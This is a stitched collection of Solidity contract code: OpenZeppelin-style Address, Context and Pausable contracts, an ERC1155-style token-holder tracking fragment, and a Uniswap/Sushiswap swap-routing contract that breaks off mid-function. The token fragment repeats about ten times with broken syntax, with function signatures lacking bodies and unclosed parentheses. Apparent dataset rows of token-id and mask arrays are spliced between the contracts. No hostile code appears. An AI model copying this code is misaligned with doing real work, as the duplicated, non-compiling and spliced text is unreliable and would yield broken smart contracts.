{xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity >=0.7.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity >=0.7.0; import "./Context.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor() { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } }
* @dev intercepting token transfers to manage a list of zero-token holders/
) internal virtual override { super._beforeTokenTransfer(operator, from, to, ids, amounts, data); function mint( address account, uint256 tokenHash, uint256 amount } function _mint( address account, uint256 id, uint256 amount, bytes memory data } function _mintBatch( address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data } function burn( address account, uint256 tokenHash, uint256 amount } function _burn( address account, uint256 id, uint256 amount } function _burnBatch( address account, uint256[] memory ids, uint256[] memory amounts } function _beforeTokenTransfer( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data for (uint256 i = 0; i < ids.length; i++) { if (from != address(0)) { require(_tokenLocks[from][ids[i]] <= block.timestamp, "TOKEN_LOCKED"); } if (from != address(0) && balanceOf(from, ids[i]) - amounts[i] == 0) { for (uint256 j = 0; j < _heldTokens[from].length; j++) { if (_heldTokens[from][j] == ids[i]) { _heldTokens[from][j] = _heldTokens[from][_heldTokens[from].length - 1]; delete _heldTokens[from][_heldTokens[from].length - 1]; } } for (uint256 j = 0; j < _tokenHolders[ids[i]].length; j++) { if (_tokenHolders[ids[i]][j] == from) { _tokenHolders[ids[i]][j] = _tokenHolders[ids[i]][_tokenHolders[ids[i]].length - 1]; delete _tokenHolders[ids[i]][_tokenHolders[ids[i]].length - 1]; } } } if (to != address(0) && balanceOf(to, ids[i]) == 0) { _heldTokens[to].push(ids[i]); _tokenHolders[ids[i]].push(to); } if (from == address(0)) { _totalBalances[uint256(ids[i])] = _totalBalances[uint256(ids[i])].add(amounts[i]); } if (to == address(0)) { _totalBalances[uint256(ids[i])] = _totalBalances[uint256(ids[i])].sub(amounts[i]); } } function mint( address account, uint256 tokenHash, uint256 amount } function _mint( address account, uint256 id, uint256 amount, bytes memory data } function _mintBatch( address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data } function burn( address account, uint256 tokenHash, uint256 amount } function _burn( address account, uint256 id, uint256 amount } function _burnBatch( address account, uint256[] memory ids, uint256[] memory amounts } function _beforeTokenTransfer( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data for (uint256 i = 0; i < ids.length; i++) { if (from != address(0)) { require(_tokenLocks[from][ids[i]] <= block.timestamp, "TOKEN_LOCKED"); } if (from != address(0) && balanceOf(from, ids[i]) - amounts[i] == 0) { for (uint256 j = 0; j < _heldTokens[from].length; j++) { if (_heldTokens[from][j] == ids[i]) { _heldTokens[from][j] = _heldTokens[from][_heldTokens[from].length - 1]; delete _heldTokens[from][_heldTokens[from].length - 1]; } } for (uint256 j = 0; j < _tokenHolders[ids[i]].length; j++) { if (_tokenHolders[ids[i]][j] == from) { _tokenHolders[ids[i]][j] = _tokenHolders[ids[i]][_tokenHolders[ids[i]].length - 1]; delete _tokenHolders[ids[i]][_tokenHolders[ids[i]].length - 1]; } } } if (to != address(0) && balanceOf(to, ids[i]) == 0) { _heldTokens[to].push(ids[i]); _tokenHolders[ids[i]].push(to); } if (from == address(0)) { _totalBalances[uint256(ids[i])] = _totalBalances[uint256(ids[i])].add(amounts[i]); } if (to == address(0)) { _totalBalances[uint256(ids[i])] = _totalBalances[uint256(ids[i])].sub(amounts[i]); } } function mint( address account, uint256 tokenHash, uint256 amount } function _mint( address account, uint256 id, uint256 amount, bytes memory data } function _mintBatch( address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data } function burn( address account, uint256 tokenHash, uint256 amount } function _burn( address account, uint256 id, uint256 amount } function _burnBatch( address account, uint256[] memory ids, uint256[] memory amounts } function _beforeTokenTransfer( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data for (uint256 i = 0; i < ids.length; i++) { if (from != address(0)) { require(_tokenLocks[from][ids[i]] <= block.timestamp, "TOKEN_LOCKED"); } if (from != address(0) && balanceOf(from, ids[i]) - amounts[i] == 0) { for (uint256 j = 0; j < _heldTokens[from].length; j++) { if (_heldTokens[from][j] == ids[i]) { _heldTokens[from][j] = _heldTokens[from][_heldTokens[from].length - 1]; delete _heldTokens[from][_heldTokens[from].length - 1]; } } for (uint256 j = 0; j < _tokenHolders[ids[i]].length; j++) { if (_tokenHolders[ids[i]][j] == from) { _tokenHolders[ids[i]][j] = _tokenHolders[ids[i]][_tokenHolders[ids[i]].length - 1]; delete _tokenHolders[ids[i]][_tokenHolders[ids[i]].length - 1]; } } } if (to != address(0) && balanceOf(to, ids[i]) == 0) { _heldTokens[to].push(ids[i]); _tokenHolders[ids[i]].push(to); } if (from == address(0)) { _totalBalances[uint256(ids[i])] = _totalBalances[uint256(ids[i])].add(amounts[i]); } if (to == address(0)) { _totalBalances[uint256(ids[i])] = _totalBalances[uint256(ids[i])].sub(amounts[i]); } } function mint( address account, uint256 tokenHash, uint256 amount } function _mint( address account, uint256 id, uint256 amount, bytes memory data } function _mintBatch( address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data } function burn( address account, uint256 tokenHash, uint256 amount } function _burn( address account, uint256 id, uint256 amount } function _burnBatch( address account, uint256[] memory ids, uint256[] memory amounts } function _beforeTokenTransfer( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data for (uint256 i = 0; i < ids.length; i++) { if (from != address(0)) { require(_tokenLocks[from][ids[i]] <= block.timestamp, "TOKEN_LOCKED"); } if (from != address(0) && balanceOf(from, ids[i]) - amounts[i] == 0) { for (uint256 j = 0; j < _heldTokens[from].length; j++) { if (_heldTokens[from][j] == ids[i]) { _heldTokens[from][j] = _heldTokens[from][_heldTokens[from].length - 1]; delete _heldTokens[from][_heldTokens[from].length - 1]; } } for (uint256 j = 0; j < _tokenHolders[ids[i]].length; j++) { if (_tokenHolders[ids[i]][j] == from) { _tokenHolders[ids[i]][j] = _tokenHolders[ids[i]][_tokenHolders[ids[i]].length - 1]; delete _tokenHolders[ids[i]][_tokenHolders[ids[i]].length - 1]; } } } if (to != address(0) && balanceOf(to, ids[i]) == 0) { _heldTokens[to].push(ids[i]); _tokenHolders[ids[i]].push(to); } if (from == address(0)) { _totalBalances[uint256(ids[i])] = _totalBalances[uint256(ids[i])].add(amounts[i]); } if (to == address(0)) { _totalBalances[uint256(ids[i])] = _totalBalances[uint256(ids[i])].sub(amounts[i]); } } function mint( address account, uint256 tokenHash, uint256 amount } function _mint( address account, uint256 id, uint256 amount, bytes memory data } function _mintBatch( address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data } function burn( address account, uint256 tokenHash, uint256 amount } function _burn( address account, uint256 id, uint256 amount } function _burnBatch( address account, uint256[] memory ids, uint256[] memory amounts } function _beforeTokenTransfer( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data for (uint256 i = 0; i < ids.length; i++) { if (from != address(0)) { require(_tokenLocks[from][ids[i]] <= block.timestamp, "TOKEN_LOCKED"); } if (from != address(0) && balanceOf(from, ids[i]) - amounts[i] == 0) { for (uint256 j = 0; j < _heldTokens[from].length; j++) { if (_heldTokens[from][j] == ids[i]) { _heldTokens[from][j] = _heldTokens[from][_heldTokens[from].length - 1]; delete _heldTokens[from][_heldTokens[from].length - 1]; } } for (uint256 j = 0; j < _tokenHolders[ids[i]].length; j++) { if (_tokenHolders[ids[i]][j] == from) { _tokenHolders[ids[i]][j] = _tokenHolders[ids[i]][_tokenHolders[ids[i]].length - 1]; delete _tokenHolders[ids[i]][_tokenHolders[ids[i]].length - 1]; } } } if (to != address(0) && balanceOf(to, ids[i]) == 0) { _heldTokens[to].push(ids[i]); _tokenHolders[ids[i]].push(to); } if (from == address(0)) { _totalBalances[uint256(ids[i])] = _totalBalances[uint256(ids[i])].add(amounts[i]); } if (to == address(0)) { _totalBalances[uint256(ids[i])] = _totalBalances[uint256(ids[i])].sub(amounts[i]); } } function mint( address account, uint256 tokenHash, uint256 amount } function _mint( address account, uint256 id, uint256 amount, bytes memory data } function _mintBatch( address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data } function burn( address account, uint256 tokenHash, uint256 amount } function _burn( address account, uint256 id, uint256 amount } function _burnBatch( address account, uint256[] memory ids, uint256[] memory amounts } function _beforeTokenTransfer( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data for (uint256 i = 0; i < ids.length; i++) { if (from != address(0)) { require(_tokenLocks[from][ids[i]] <= block.timestamp, "TOKEN_LOCKED"); } if (from != address(0) && balanceOf(from, ids[i]) - amounts[i] == 0) { for (uint256 j = 0; j < _heldTokens[from].length; j++) { if (_heldTokens[from][j] == ids[i]) { _heldTokens[from][j] = _heldTokens[from][_heldTokens[from].length - 1]; delete _heldTokens[from][_heldTokens[from].length - 1]; } } for (uint256 j = 0; j < _tokenHolders[ids[i]].length; j++) { if (_tokenHolders[ids[i]][j] == from) { _tokenHolders[ids[i]][j] = _tokenHolders[ids[i]][_tokenHolders[ids[i]].length - 1]; delete _tokenHolders[ids[i]][_tokenHolders[ids[i]].length - 1]; } } } if (to != address(0) && balanceOf(to, ids[i]) == 0) { _heldTokens[to].push(ids[i]); _tokenHolders[ids[i]].push(to); } if (from == address(0)) { _totalBalances[uint256(ids[i])] = _totalBalances[uint256(ids[i])].add(amounts[i]); } if (to == address(0)) { _totalBalances[uint256(ids[i])] = _totalBalances[uint256(ids[i])].sub(amounts[i]); } } function mint( address account, uint256 tokenHash, uint256 amount } function _mint( address account, uint256 id, uint256 amount, bytes memory data } function _mintBatch( address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data } function burn( address account, uint256 tokenHash, uint256 amount } function _burn( address account, uint256 id, uint256 amount } function _burnBatch( address account, uint256[] memory ids, uint256[] memory amounts } function _beforeTokenTransfer( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data for (uint256 i = 0; i < ids.length; i++) { if (from != address(0)) { require(_tokenLocks[from][ids[i]] <= block.timestamp, "TOKEN_LOCKED"); } if (from != address(0) && balanceOf(from, ids[i]) - amounts[i] == 0) { for (uint256 j = 0; j < _heldTokens[from].length; j++) { if (_heldTokens[from][j] == ids[i]) { _heldTokens[from][j] = _heldTokens[from][_heldTokens[from].length - 1]; delete _heldTokens[from][_heldTokens[from].length - 1]; } } for (uint256 j = 0; j < _tokenHolders[ids[i]].length; j++) { if (_tokenHolders[ids[i]][j] == from) { _tokenHolders[ids[i]][j] = _tokenHolders[ids[i]][_tokenHolders[ids[i]].length - 1]; delete _tokenHolders[ids[i]][_tokenHolders[ids[i]].length - 1]; } } } if (to != address(0) && balanceOf(to, ids[i]) == 0) { _heldTokens[to].push(ids[i]); _tokenHolders[ids[i]].push(to); } if (from == address(0)) { _totalBalances[uint256(ids[i])] = _totalBalances[uint256(ids[i])].add(amounts[i]); } if (to == address(0)) { _totalBalances[uint256(ids[i])] = _totalBalances[uint256(ids[i])].sub(amounts[i]); } } function mint( address account, uint256 tokenHash, uint256 amount } function _mint( address account, uint256 id, uint256 amount, bytes memory data } function _mintBatch( address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data } function burn( address account, uint256 tokenHash, uint256 amount } function _burn( address account, uint256 id, uint256 amount } function _burnBatch( address account, uint256[] memory ids, uint256[] memory amounts } function _beforeTokenTransfer( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data for (uint256 i = 0; i < ids.length; i++) { if (from != address(0)) { require(_tokenLocks[from][ids[i]] <= block.timestamp, "TOKEN_LOCKED"); } if (from != address(0) && balanceOf(from, ids[i]) - amounts[i] == 0) { for (uint256 j = 0; j < _heldTokens[from].length; j++) { if (_heldTokens[from][j] == ids[i]) { _heldTokens[from][j] = _heldTokens[from][_heldTokens[from].length - 1]; delete _heldTokens[from][_heldTokens[from].length - 1]; } } for (uint256 j = 0; j < _tokenHolders[ids[i]].length; j++) { if (_tokenHolders[ids[i]][j] == from) { _tokenHolders[ids[i]][j] = _tokenHolders[ids[i]][_tokenHolders[ids[i]].length - 1]; delete _tokenHolders[ids[i]][_tokenHolders[ids[i]].length - 1]; } } } if (to != address(0) && balanceOf(to, ids[i]) == 0) { _heldTokens[to].push(ids[i]); _tokenHolders[ids[i]].push(to); } if (from == address(0)) { _totalBalances[uint256(ids[i])] = _totalBalances[uint256(ids[i])].add(amounts[i]); } if (to == address(0)) { _totalBalances[uint256(ids[i])] = _totalBalances[uint256(ids[i])].sub(amounts[i]); } } function mint( address account, uint256 tokenHash, uint256 amount } function _mint( address account, uint256 id, uint256 amount, bytes memory data } function _mintBatch( address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data } function burn( address account, uint256 tokenHash, uint256 amount } function _burn( address account, uint256 id, uint256 amount } function _burnBatch( address account, uint256[] memory ids, uint256[] memory amounts } function _beforeTokenTransfer( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data for (uint256 i = 0; i < ids.length; i++) { if (from != address(0)) { require(_tokenLocks[from][ids[i]] <= block.timestamp, "TOKEN_LOCKED"); } if (from != address(0) && balanceOf(from, ids[i]) - amounts[i] == 0) { for (uint256 j = 0; j < _heldTokens[from].length; j++) { if (_heldTokens[from][j] == ids[i]) { _heldTokens[from][j] = _heldTokens[from][_heldTokens[from].length - 1]; delete _heldTokens[from][_heldTokens[from].length - 1]; } } for (uint256 j = 0; j < _tokenHolders[ids[i]].length; j++) { if (_tokenHolders[ids[i]][j] == from) { _tokenHolders[ids[i]][j] = _tokenHolders[ids[i]][_tokenHolders[ids[i]].length - 1]; delete _tokenHolders[ids[i]][_tokenHolders[ids[i]].length - 1]; } } } if (to != address(0) && balanceOf(to, ids[i]) == 0) { _heldTokens[to].push(ids[i]); _tokenHolders[ids[i]].push(to); } if (from == address(0)) { _totalBalances[uint256(ids[i])] = _totalBalances[uint256(ids[i])].add(amounts[i]); } if (to == address(0)) { _totalBalances[uint256(ids[i])] = _totalBalances[uint256(ids[i])].sub(amounts[i]); } } function mint( address account, uint256 tokenHash, uint256 amount } function _mint( address account, uint256 id, uint256 amount, bytes memory data } function _mintBatch( address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data } function burn( address account, uint256 tokenHash, uint256 amount } function _burn( address account, uint256 id, uint256 amount } function _burnBatch( address account, uint256[] memory ids, uint256[] memory amounts } function _beforeTokenTransfer( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data for (uint256 i = 0; i < ids.length; i++) { if (from != address(0)) { require(_tokenLocks[from][ids[i]] <= block.timestamp, "TOKEN_LOCKED"); } if (from != address(0) && balanceOf(from, ids[i]) - amounts[i] == 0) { for (uint256 j = 0; j < _heldTokens[from].length; j++) { if (_heldTokens[from][j] == ids[i]) { _heldTokens[from][j] = _heldTokens[from][_heldTokens[from].length - 1]; delete _heldTokens[from][_heldTokens[from].length - 1]; } } for (uint256 j = 0; j < _tokenHolders[ids[i]].length; j++) { if (_tokenHolders[ids[i]][j] == from) { _tokenHolders[ids[i]][j] = _tokenHolders[ids[i]][_tokenHolders[ids[i]].length - 1]; delete _tokenHolders[ids[i]][_tokenHolders[ids[i]].length - 1]; } } } if (to != address(0) && balanceOf(to, ids[i]) == 0) { _heldTokens[to].push(ids[i]); _tokenHolders[ids[i]].push(to); } if (from == address(0)) { _totalBalances[uint256(ids[i])] = _totalBalances[uint256(ids[i])].add(amounts[i]); } if (to == address(0)) { _totalBalances[uint256(ids[i])] = _totalBalances[uint256(ids[i])].sub(amounts[i]); } } }
1,317,930
[ 1, 27481, 310, 1147, 29375, 358, 10680, 279, 666, 434, 3634, 17, 2316, 366, 4665, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 262, 2713, 5024, 3849, 288, 203, 3639, 2240, 6315, 5771, 1345, 5912, 12, 9497, 16, 628, 16, 358, 16, 3258, 16, 30980, 16, 501, 1769, 203, 203, 565, 445, 312, 474, 12, 203, 3639, 1758, 2236, 16, 203, 3639, 2254, 5034, 1147, 2310, 16, 203, 3639, 2254, 5034, 3844, 203, 565, 289, 203, 203, 565, 445, 389, 81, 474, 12, 203, 3639, 1758, 2236, 16, 203, 3639, 2254, 5034, 612, 16, 203, 3639, 2254, 5034, 3844, 16, 203, 3639, 1731, 3778, 501, 203, 565, 289, 203, 203, 565, 445, 389, 81, 474, 4497, 12, 203, 3639, 1758, 358, 16, 203, 3639, 2254, 5034, 8526, 3778, 3258, 16, 203, 3639, 2254, 5034, 8526, 3778, 30980, 16, 203, 3639, 1731, 3778, 501, 203, 565, 289, 203, 203, 565, 445, 18305, 12, 203, 3639, 1758, 2236, 16, 203, 3639, 2254, 5034, 1147, 2310, 16, 203, 3639, 2254, 5034, 3844, 203, 565, 289, 203, 203, 565, 445, 389, 70, 321, 12, 203, 3639, 1758, 2236, 16, 203, 3639, 2254, 5034, 612, 16, 203, 3639, 2254, 5034, 3844, 203, 565, 289, 203, 203, 565, 445, 389, 70, 321, 4497, 12, 203, 3639, 1758, 2236, 16, 203, 3639, 2254, 5034, 8526, 3778, 3258, 16, 203, 3639, 2254, 5034, 8526, 3778, 30980, 203, 565, 289, 203, 203, 565, 445, 389, 5771, 1345, 5912, 12, 203, 3639, 1758, 3726, 16, 203, 3639, 1758, 628, 16, 203, 3639, 1758, 358, 16, 203, 3639, 2254, 5034, 8526, 3778, 3258, 16, 203, 3639, 2254, 5034, 8526, 3778, 30980, 16, 203, 3639, 1731, 3778, 501, 2 ]
./partial_match/97/0xd9b52273706A9032749D73cf357be7ad3d7bb064/sources/CLIQ.sol
function to get Staking tokens by id
function getActiveStakesById(uint256 id)public view returns(address){ return _stakingAddress[id]; }
11,364,729
[ 1, 915, 358, 336, 934, 6159, 2430, 635, 612, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 11960, 510, 3223, 5132, 12, 11890, 5034, 612, 13, 482, 1476, 1135, 12, 2867, 15329, 203, 565, 327, 389, 334, 6159, 1887, 63, 350, 15533, 203, 225, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity 0.7.6; import "./interfaces/IUniswapV2Pair.sol"; import "./interfaces/IWETH.sol"; import "./libraries/SafeMath.sol"; import "./libraries/TokenInfo.sol"; contract Narwhal { using SafeMath for uint256; using TokenInfo for bytes32; address public immutable uniswapFactory; address public immutable sushiswapFactory; IWETH public immutable weth; /** ========== Constructor ========== */ constructor( address _uniswapFactory, address _sushiswapFactory, address _weth ) { uniswapFactory = _uniswapFactory; sushiswapFactory = _sushiswapFactory; weth = IWETH(_weth); } /** ========== Fallback ========== */ receive() external payable { assert(msg.sender == address(weth)); // only accept ETH via fallback from the WETH contract } /** ========== Swaps ========== */ // requires the initial amount to have already been sent to the first pair function _swap(uint[] memory amounts, bytes32[] memory path, address recipient) internal { for (uint i; i < path.length - 1; i++) { (bytes32 input, bytes32 output) = (path[i], path[i + 1]); uint amountOut = amounts[i + 1]; (uint amount0Out, uint amount1Out) = (input < output) ? (uint(0), amountOut) : (amountOut, uint(0)); address to = i < path.length - 2 ? pairFor(output, path[i + 2]) : recipient; IUniswapV2Pair(pairFor(input, output)).swap( amount0Out, amount1Out, to, new bytes(0) ); } } /** ========== Pair Calculation & Sorting ========== */ // returns sorted token addresses, used to handle return values from pairs sorted in this order function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) { require(tokenA != tokenB, "UniswapV2Library: IDENTICAL_ADDRESSES"); (token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); require(token0 != address(0), "UniswapV2Library: ZERO_ADDRESS"); } function zeroForOne(bytes32 tokenA, bytes32 tokenB) internal pure returns (bool) { return tokenA < tokenB; } // returns sorted token addresses, used to handle return values from pairs sorted in this order function sortTokens(bytes32 tokenA, bytes32 tokenB) internal pure returns (bytes32 token0, bytes32 token1) { require(tokenA != tokenB, "UniswapV2Library: IDENTICAL_ADDRESSES"); (token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); require(token0 != bytes32(0), "UniswapV2Library: ZERO_ADDRESS"); } function calculateUniPair(address token0, address token1 ) internal view returns (address pair) { pair = address( uint256( keccak256( abi.encodePacked( hex"ff", uniswapFactory, keccak256(abi.encodePacked(token0, token1)), hex"96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f" // init code hash ) ) ) ); } function calculateSushiPair(address token0, address token1) internal view returns (address pair) { pair = address( uint256( keccak256( abi.encodePacked( hex"ff", sushiswapFactory, keccak256(abi.encodePacked(token0, token1)), hex"e18a34eb0e04b04f7a0ac29a6e80748dca96319b42c54d679cb821dca90c6303" // init code hash ) ) ) ); } // calculates the CREATE2 address for a pair without making any external calls function pairFor( address tokenA, address tokenB, bool sushi ) internal view returns (address pair) { (address token0, address token1) = sortTokens(tokenA, tokenB); pair = sushi ? calculateSushiPair(token0, token1) : calculateUniPair(token0, token1); } // calculates the CREATE2 address for a pair without making any external calls function pairFor(bytes32 tokenInfoA, bytes32 tokenInfoB) internal view returns (address pair) { (address tokenA, bool sushi) = tokenInfoA.unpack(); address tokenB = tokenInfoB.readToken(); (address token0, address token1) = sortTokens(tokenA, tokenB); pair = sushi ? calculateSushiPair(token0, token1) : calculateUniPair(token0, token1); } /** ========== Pair Reserves ========== */ // fetches and sorts the reserves for a pair function getReserves( bytes32 tokenInfoA, bytes32 tokenInfoB ) internal view returns (uint256 reserveA, uint256 reserveB) { (uint256 reserve0, uint256 reserve1, ) = 